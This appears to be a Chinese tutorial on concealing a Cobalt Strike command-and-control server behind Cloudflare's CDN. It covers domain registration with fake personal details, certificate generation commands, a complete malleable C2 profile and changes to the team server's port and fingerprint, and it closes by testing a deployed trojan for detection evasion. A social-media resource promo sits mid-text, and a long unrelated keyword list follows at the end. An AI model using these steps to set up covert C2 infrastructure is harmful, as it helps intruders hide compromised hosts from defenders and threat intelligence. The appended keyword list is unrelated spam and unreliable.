CobaltStrike概述
Cobalt Strike是一款漂亮国Red Team开发的渗透测试神器,常被业界人称为CS。成为了渗透测试中不可缺少的利器。其拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等功能。同时,Cobalt Strike还可以调用Mimikatz等其他知名工具并且可以作为团队服务使用,因此广受网络安全人员喜爱。
CDN及特征隐匿的作用
虽然Cobalt Strike在渗透测试使用过程中非常的方便和强大,但其默认的特征信息使得CS服务端也会很容易被态势感知等监测设备所识别到,并且服务器开启默认端口后也会被情报网站标记为攻击服务器,且如果teamserver密码简单也会被反爆破。
因此就需要对Cobalt Strike的流量、特征等进行隐匿。本文章采用的是CDN+修改特征隐匿的方法。
注册free域名
这里使用www.freenom.com平台进行注册,需要登陆,因此提前准备好一个邮箱,国内外邮箱都行。
tips:
1、在选择好域名并注册后,需要登录平台,然后填写相关信息以用于注册(当前ip所处的地址这里必须一致、邮编、手机号等可采用漂亮的虚拟信息);
2、后续要使用cdn平台,因此需要在这个域名平台里面绑定cdn平台的ns记录。
【→所有资源关注我,私信回复“资料”获取←】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记
CDN平台配置DNS解析
域名注册完成后先不要急着解析,进行第二步的CDN平台配置。
CDN平台建议使用cloudflare
先注册个账号登陆一波,使用邮箱注册,方便起见可以和freenom平台用同一个邮箱。
进入cloudflare平台后,点击左侧的网站,然后添加一个域名,这里添加的域名就是freenom注册的。
站点添加完成后,点击站点进去,在左侧DNS中添加记录。
在添加完成后如果上面出现这样的告警,就代表在freenom平台中还没有修改ns记录,需要去将ns记录修改为cdn平台的。
进入freenom平台修改ns记录,先登录,进入到域名管理处,修改ns名称。这里要填写的ns名称是CDN平台给分配的,参见上面一张图,ns前缀基本都是随机分配的,因此以CDN平台上的为准。
freenom改好ns记录后,再到CDN平台上点击上上图的“检查名称服务器”即可更新完成。此时再去解析域名、ping域名,都会成功返回到CDN的ip地址。
CDN平台创建证书
在CDN平台左侧的SSL/TLS-----概述中,将右边的加密模式选择为灵活。
在左侧源服务器中,点击创建证书。源服务器私钥类型选择ECC,密钥格式选择PEM。 一定要将源证书和私钥复制下来!后续要用到。
CDN平台禁用缓存
CDN默认开启缓存,可能会影响后续主机上线、shell命令回显等。因此这里有两种关闭缓存的方法建议都开启。
在CDN平台-缓存-配置-开发者模式-开启。
规则-创建页面规则中创建两条规则。以下规则中的域名不需要填写A记录名。
1、*.your dmoain/*;
2、your dmoain/*;
3、将规则设置为-缓存级别-绕过。
服务器配置CS证书
1. 进入服务器中的CS文件夹中,创建两个文件。server.pem(文件中贴入上面的源证书)和server.key(文件中贴入上面的私钥)保存即可。
2.生成新的cobaltstrike证书。如果原先的cobaltstrike文件夹内有默认的.store证书,需要先删除掉默认的。使用以下命令生成:
openssl pkcs12 -export -in server.pem -inkey server.key -out cfcert.p12 -name cloudflare_cert -passout pass:123456
ps:这里的pass密码需要修改,改为复杂的密码,不要使用123456。
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore cfcert.store -srckeystore cfcert.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias cloudflare_cert
ps:这里的所有密码都要和上面的一致。
3. 在CS目录内创建profile文件,名称自定义,这里使用C2.profile,然后将以下内容贴入到profile文件中。如果原先有默认的profile则需要删掉。 ps:以下内容中,password需要改为上面创建证书一直的密码。 host需要改为你在CDN平台中绑定的域名,切记是要加A记录前缀的完整域名。
https-certificate {
set keystore "cfcert.store";
set password "123456";
}
http-config {
header "Content-Type" "application";
}
http-stager {
set uri_x86 "/api/1";
set uri_x64 "/api/2";
client {
header "Host" "your host";}
server {
output{
print;
}
}
}
http-get {
set uri "/api/3";
client {
header "Host" "your host";
metadata {
base64;
header "Cookie";
}
}
server {
output{
print;
}
}
}
http-post {
set uri "/api/4";
client {
header "Host" "your host";
id {
uri-append;
}
output{
print;
}
}
server {
output{
print;
}
}
}
4. cloudflareCDN免费支持的端口如下:
http:
80、8080、8880、2052、2082、2086、2095
https:
443、2053、2083、2087、2096、8443
teamserver特征隐匿
6.1 修改teamserver默认端口
编辑teamserver配置文件,将CobaltStrike默认的50050端口改成其它端口。
6.2 修改teamserver默认指纹信息
编辑teamserver配置文件,默认的是cobalt strike信息或Microsoft信息。
CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth
可将指纹信息改为其它的内容。
CN=baidu, OU=baidu, O=baidu, L=baidu, S=baidu, C=baidu
#或者自定义完整的内容,国家、城市等信息
启动teamserver
启动teamserver的命令需要微调下:
./teamserver 服务器公网IP 密码 C2.profile
## 后面需要加上创建的C2.profile
连接上teamserver后,创建个监听器和马子。注意监听器的地址要填写CDN绑定的域名,而不是IP地址了
PS:在创建监听器时,建议使用https模式。并且监听器的https上线端口不要使用默认的443,否则可能会无法正常上线。建议监听端口使用CDN支持的其它端口。
上线测试隐匿效果
先在虚拟机里面打开个wireshark开启抓包模式,然后将马子丢到虚拟机里面执行。
此时在CS里面主机已经上线。然后看wireshark中的数据包,过滤服务器真实地址发现一条都没有,均是和CDN地址的交互数据。
下图筛选服务器地址:
下图筛选CDN地址:
至此CDN隐匿完成。
- 游戏
- 开创
- 剧情
- 故事
- 商洛
- 歌曲
- 吉利
- 地铁
- 手柄
- 体验
- 现场
- 咳嗽
- 不足
- 小儿
- 容易
- 线路
- 中间
- 软件
- 一个
- 系统
- 元素
- 前期
- 可以
- 任务
- 等级
- 视频
- 生态
- 直播
- 流量
- 商业
- 安装
- 天天
- 钻石
- 引擎
- 射击
- 起源
- 这样
- 助手
- 手机
- 用户
- 下载
- 自行车
- 凤凰
- 电动
- 不合格
- 客户
- 篡改
- 行李
- 移动
- 自动
- 速度
- 伤害
- 减少
- 提高到
- in
- the
- 同意
- 所有
- 第一名
- 神仙
- 武器
- 模式
- 刷新
- 显示器
- 汽车
- 零部件
- 台湾
- 这些
- 恐怖
- 国际
- 如下
- 寒潮
- 气温
- 天气
- 上海
- 入冬
- 采用
- 支持
- 辅助
- 注册
- 平台
- 简单
- 超级
- 数据
- 战场
- 刺激
- 全民
- 一把
- 稳定
- 统计
- 和尚
- 治疗
- 天使
- 部分
- 中国
- 贸易
- 时候
- 这个
- 然而
- 残局
- 情况
- 就是
- 服务
- 社会
- 孤儿
- 网友
- 功能
- 科技
- 拥有
- 活动
- 抽奖
- 效果
- 面具
- 防毒
- 修复
- 管家
- 电脑
- 方法
- 解决
- 公司
- 宠儿
- 职业
- 选手
- 我们
- 利用
- 因为
- 反馈
- 官方
- 小伙
- 透视
- 永久
- 系列
- 画面
- 名称
- 战士
- 福音
- 新世纪
- 地图
- 出来
- 僵尸
- 强化
- 大家
- 小弟
- 葫芦
- 社区
- 开始
- 点击
- 植物
- me
- 约定
- 3月
- 签约
- 变异
- 生化
- 世界
- 之后
- 夺冠
- 头条
- 需要
- 使用
- 默认
- 版本
- 内容
- 暗号
- 英雄
- 分享
- 李白
- 博客
- 行为
- 作弊
- 成长
- 会员
- 有效期
- 达到
- 敌人
- 亡命
- 火箭
- 开局
- 疟疾
- 中医药
- 中医
- 求生
- 练习
- 配置
- 设置
- 很多
- 火线
- 穿越
- 工作
- 创业
- 开工
- 商品
- 鹰击长空
- 雄鹰
- 皇家
- 游击
- 什么
- 更新
- 各种
- 看看
- 多少
- 疲劳
- 分析
- 苹果
- 放大
- 还是
- 光子
- 购买
- 货币
- 网站
- 钥匙
- 产品
- 一件
- 批发
- 基本上
- 救世主
- 策划
- 知道
- 饮料
- 怎么
- 明白
- 大战
- 步枪
- 她们
- 药剂
- 自己
- 一起
- 哥哥
- 蔬菜
- 设施
- 小学生
- 这种
- 曾经
- 已经
- 完美
- 开发
- 一下
- 切口
- 手术
- 工具
- 函数
- 替换
- 卓越
- 收购
- 免费
- 下一步
- 他说
- 语文
- 第一
- 全市
- 高考
- 召唤
- 瞄准
- 终结
- 问题
- 身材
- 着装
- 角色
- IS
- 加速器
- 演员
- 许多
- 并且
- 军衔
- 枪战
- 皮肤
- 悠悠
- 参与
- 当中
- 涨价
- 11月
- 红星
- 比赛
- 赛场
- 成为
- 戒指
- 跌落
- 钢琴
- ID
- 信号
- 记者
- 联网
- 先生
- 企业
- 改造
- 完成
- 应急
- 连接
- 设备
- 操作
- 技能
- 驾驶
- 觉得
- 升级
- 细节
- 奶奶
- 获得
- 挑战
- 传奇
- 装备
- 精力
- 套装
- 背包
- 嫌疑
- 网络
- 民警
- 快递
- 毒品
- 经验
- 房间
- 直接
- 登录
- 农业
- 销售
- 发展
- 打击
- 这里
- 看到
- 名字
- com
- 西藏
- 拉萨
- 分社
- 神奇
- 倒闭
- 葡萄
- 业主
- 小区
- 俱乐部
- 图片
- 山庄
- 夜幕
- 罪恶
- 都市
- 当时
- 接口
- 测试
- 屏幕
- 儿童
- 适龄
- 招生
- cn
- 计算
- 长度
- 工程
- 钢筋
- 真的
- 精英
- 诈骗
- 突围
- 课程
- 辅导
- 老师
- 大学
- 加速
- 联盟
- 有人
- 防守
- 酒店
- 全球
- 集团
- 二十
- 火柴
- 领取
- 8月
- 奖励
- 如今
- 巨人
- 幽灵
- 可是
- 阵营
- 关键
- 多多
- 价格
- 因此
- 目前
- 其实
- 项目
- 出售
- 信息
- 原因
- 公平
- 他们
- 化妆品
- 女性
- 深圳
- 建设
- 公安
- 摄影
- 摄影师
- 新人
- 郑州
- 模型
- 窃取
- 输出
- 提供
- 实验室
- 天堂
- 英寸
- 平板
- 应用
- 生产力
- 脚本
- 警方
- 万元
- 密码
- 福利